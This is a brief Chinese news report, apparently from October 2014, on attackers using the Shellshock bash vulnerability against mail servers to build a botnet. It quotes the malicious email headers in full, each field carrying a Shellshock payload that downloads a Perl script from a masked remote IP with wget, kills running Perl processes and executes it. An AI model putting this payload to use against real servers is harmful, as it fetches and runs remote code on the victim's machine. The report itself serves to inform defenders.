Linux:来了!攻击者利用Shellshock漏洞入侵邮件服务器

攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。

Linux:来了!攻击者利用Shellshock漏洞入侵邮件服务器
Linux:来了!攻击者利用Shellshock漏洞入侵邮件服务器

安全研究人员报告,攻击者向邮件服务器发送特定的消息头字段,诱骗服务器执行一个 Perl脚本,成为僵尸网络的一部分。邮件消息头的构成是:

Shellshock spam October 2014 (IP地址已隐藏)
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To:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

References:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Cc:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Subject:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Message-ID:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Comments:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Keywords:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Resent-Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Resent-From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

Resent-Sender:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend

 

来源:http://www.solidot.org/story?sid=41644

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